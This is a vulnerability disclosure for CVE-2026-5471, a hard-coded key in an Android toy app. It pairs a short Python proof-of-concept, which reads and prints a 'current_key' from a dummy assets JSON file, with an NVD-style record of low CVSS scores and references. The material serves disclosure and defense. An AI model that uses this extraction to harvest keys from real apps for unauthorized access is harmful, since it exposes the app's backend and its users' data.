CVE-2026-5471

# Proof of Concept (PoC) for CVE-2026-5471 # This script demonstrates how to extract the hardcoded key # from the vulnerable application's assets. import json import os # Simulating the path to the extracted APK assets directory VULNERABLE_FILE_PATH = "assets/google-services-desktop.json" def check_vulnerability(file_path): """ Checks if the target file contains a hardcoded current_key. """ if not os.path.exists(file_path): print(f"[!] File not found: {file_path}") return try: with open(file_path, 'r') as f: data = json.load(f) if 'current_key' in data: print(f"[+] Vulnerability Detected!") print(f"[+] Hardcoded key found: {data['current_key']}") print("[+] An attacker can use this key for unauthorized access.") else: print("[-] Vulnerability not found or key already rotated.") except json.JSONDecodeError: print(f"[!] Error parsing JSON file.") if __name__ == "__main__": # Create a dummy file for demonstration os.makedirs("assets", exist_ok=True) dummy_data = {"project_info": {}, "client": [], "current_key": "AIzaSyDummyHardcodedKeyForDemo123"} with open(VULNERABLE_FILE_PATH, 'w') as f: json.dump(dummy_data, f) print(f"--- Analyzing CVE-2026-5471 ---") check_vulnerability(VULNERABLE_FILE_PATH) # Cleanup os.remove(VULNERABLE_FILE_PATH) os.rmdir("assets")

{"cve": {"id": "CVE-2026-5471", "sourceIdentifier": "[email protected]", "published": "2026-04-03T16:16:45.540", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Investory Toy Planet Trouble App up to 1.5.5 on Android. Impacted is an unknown function of the file assets/google-services-desktop.json of the component app.investory.toyfactory. The manipulation of the argument current_key results in use of hard-coded cryptographic key\r . The attack must be initiated from a local position. The exploit is now public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://vuldb.com/submit/781784", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355075", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355075/cti", "source": "[email protected]"}, {"url": "https://www.notion.so/Firebase-API-Key-Exposure-Leading-to-Unauthorized-Anonymous-Authentication-and-Data-Access-in-app-in-3262de3f97fb80f1abe6fb5f3eb373bc?source=copy_link", "source": "[email protected]"}]}}